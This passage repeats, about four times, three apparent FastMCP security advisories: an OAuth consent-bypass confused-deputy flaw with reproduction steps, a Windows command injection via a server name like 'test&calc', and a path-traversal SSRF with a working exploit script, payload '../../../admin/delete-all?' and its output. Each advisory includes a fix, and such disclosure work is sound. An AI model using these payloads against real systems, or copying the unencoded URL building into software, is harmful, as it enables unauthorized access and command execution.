            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

